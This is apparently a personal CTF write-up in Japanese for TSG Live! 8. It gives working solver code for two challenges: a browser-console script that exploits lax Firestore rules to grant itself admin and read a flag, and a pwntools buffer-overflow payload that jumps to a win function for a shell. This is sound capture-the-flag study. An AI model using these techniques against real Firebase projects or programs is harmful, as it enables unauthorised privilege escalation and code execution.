CTF-writeup

My CTF Writeups. (written in Japanese)

View on GitHub

TSG Live! 8 CTF Writeup

目次

Problem on fire

開くとFirebaseError: [code=permission-denied]: Missing or insufficient permissions.というエラーが表示されています。ソースコードを見るとfirestore.rules

// 自分のユーザー情報を書き込めるのは自分のみ
// 一度作ったユーザー情報を編集できるのはadminだけ
// flagを読めるのはadminだけ

というコメントがあり、自分のユーザー情報をadminにできればいいということがわかります。
以下のJavaScriptコードをコンソールで実行するとフラグが得られます。

const db = firebase.firestore();
const auth = firebase.auth();
const {user} = await auth.signInAnonymously();
const token = await user.getIdToken();
const uid = user.uid;
await db.collection('users').doc(uid).set({admin: true});
flag = await db.collection('flags').doc('flag').get();
console.log(flag.get("value"));

bpxover

ソースコードを見るとアセンブリを実行していますが、それは関係なくBoFの脆弱性があります。winに飛ばせばよいです。
以下のソルバでシェルが取れるので、cat flagとかすればフラグが得られます。

from pwn import *

io = process(["nc", "chall.live.ctf.tsg.ne.jp", "30006"])

win_addr = p64(0x00000000004011b6)
main_addr = p64(0x00000000004011f0)
buf_size = 16

payload = b"\x00" * (buf_size + 24) + win_addr
print(payload)
print(io.recvline())
io.sendline(payload)

io.interactive()